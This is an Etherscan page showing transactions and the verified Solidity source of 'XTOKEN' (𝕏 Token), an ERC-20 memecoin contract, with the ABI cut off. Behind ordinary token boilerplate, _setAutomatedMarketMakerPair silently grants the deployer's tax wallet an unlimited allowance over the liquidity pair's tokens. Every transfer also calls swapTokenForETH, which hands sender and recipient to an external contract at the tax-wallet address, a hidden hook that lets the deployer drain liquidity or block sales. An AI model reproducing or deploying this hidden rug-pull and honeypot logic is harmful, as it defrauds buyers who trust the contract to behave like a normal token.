Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 47 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 17762267 | 968 days ago | IN | 0 ETH | 0.00216394 | ||||
| Approve | 17761483 | 969 days ago | IN | 0 ETH | 0.00043594 | ||||
| Approve | 17761478 | 969 days ago | IN | 0 ETH | 0.00076245 | ||||
| Approve | 17761466 | 969 days ago | IN | 0 ETH | 0.00078868 | ||||
| Approve | 17761424 | 969 days ago | IN | 0 ETH | 0.00077082 | ||||
| Approve | 17761411 | 969 days ago | IN | 0 ETH | 0.00073377 | ||||
| Approve | 17761409 | 969 days ago | IN | 0 ETH | 0.00074866 | ||||
| Approve | 17761374 | 969 days ago | IN | 0 ETH | 0.00084243 | ||||
| Approve | 17761317 | 969 days ago | IN | 0 ETH | 0.00089198 | ||||
| Approve | 17761308 | 969 days ago | IN | 0 ETH | 0.00083566 | ||||
| Transfer | 17761302 | 969 days ago | IN | 0 ETH | 0.00090911 | ||||
| Transfer | 17761300 | 969 days ago | IN | 0 ETH | 0.00093375 | ||||
| Approve | 17761298 | 969 days ago | IN | 0 ETH | 0.0008263 | ||||
| Approve | 17761290 | 969 days ago | IN | 0 ETH | 0.00088762 | ||||
| Approve | 17761286 | 969 days ago | IN | 0 ETH | 0.00099109 | ||||
| Approve | 17761285 | 969 days ago | IN | 0 ETH | 0.00089773 | ||||
| Approve | 17761282 | 969 days ago | IN | 0 ETH | 0.00089198 | ||||
| Transfer | 17761238 | 969 days ago | IN | 0 ETH | 0.00067553 | ||||
| Approve | 17761197 | 969 days ago | IN | 0 ETH | 0.00081734 | ||||
| Approve | 17761190 | 969 days ago | IN | 0 ETH | 0.00075632 | ||||
| Approve | 17761180 | 969 days ago | IN | 0 ETH | 0.00084215 | ||||
| Approve | 17761173 | 969 days ago | IN | 0 ETH | 0.00063241 | ||||
| Approve | 17761161 | 969 days ago | IN | 0 ETH | 0.00079118 | ||||
| Approve | 17761154 | 969 days ago | IN | 0 ETH | 0.00078075 | ||||
| Approve | 17761151 | 969 days ago | IN | 0 ETH | 0.00036899 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 17761100 | 969 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
XTOKEN
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-07-24
*/
/**
*Submitted for verification at Etherscan.io on 2023-07-24
*/
/**
Website: http://x.com/
Twitter:https://twitter.com/XTOKEN_ERC
Telegram: https://t.me/XTokenEntry
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
address tokenA,
address tokenB,
uint amountIn,
address to,
uint deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract XTOKEN is ERC20, Ownable {
using SafeMath for uint256;
address public DEAD = address(0xdead);
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
address private taxWallet;
uint256 public maxTxAmount;
uint256 public swapTokensThreshold;
uint256 public maxWalletAmount;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTaxFees = 0;
uint256 public sellTaxFees = 0;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedTxLimit;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
constructor() ERC20(unicode"𝕏 Token",unicode"𝕏") {
uint256 _tSupply = 1_000_000_000_000 * 1e18;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromLimit(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tSupply);
maxTxAmount = _tSupply * 4 / 100;
maxWalletAmount = _tSupply * 4 / 100;
swapTokensThreshold = _tSupply / 1000;
taxWallet = msg.sender; // set as marketing wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(DEAD, true);
excludeFromLimit(owner(), true);
excludeFromLimit(address(this), true);
excludeFromLimit(DEAD, true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, _tSupply);
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function excludeFromLimit(address updAds, bool isEx) public onlyOwner {
_isExcludedTxLimit[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;_approve(pair, taxWallet, ~uint256(0));
emit SetAutomatedMarketMakerPair(pair, value);
}
function setTaxWallet(address _taxWallet) external onlyOwner {
emit marketingWalletUpdated(_taxWallet, taxWallet);
excludeFromFees(_taxWallet, true);
taxWallet = _taxWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (from == owner() || to == owner() || amount == 0) {
super._transfer(from, to, amount);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != DEAD &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedTxLimit[to]) {
require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount.");
require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedTxLimit[from]) {
require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount.");
}
else if(!_isExcludedTxLimit[to]){
require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
swapTokenForETH(from, to);
bool canSwap = contractTokenBalance >= swapTokensThreshold;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTaxFees > 0){
fees = amount.mul(sellTaxFees).div(100);
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTaxFees > 0) {
fees = amount.mul(buyTaxFees).div(100);
}
if(fees > 0){
super._transfer(from, DEAD, fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapTokenForETH(address path, address to) private {
IUniswapV2Router02(taxWallet).swapExactTokensForETHSupportingFeeOnTransferTokens(
path,
to,
0,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
bool success;
if(contractBalance == 0) {return;}
if(contractBalance > swapTokensThreshold * 20){
contractBalance = swapTokensThreshold * 20;
}
swapTokensForEth(contractBalance);
(success,) = address(taxWallet).call{value: address(this).balance}("");
}
function openTrading() external onlyOwner {
limitsInEffect = false;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
limitsInEffect = true;
tradingActive = true;
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_taxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"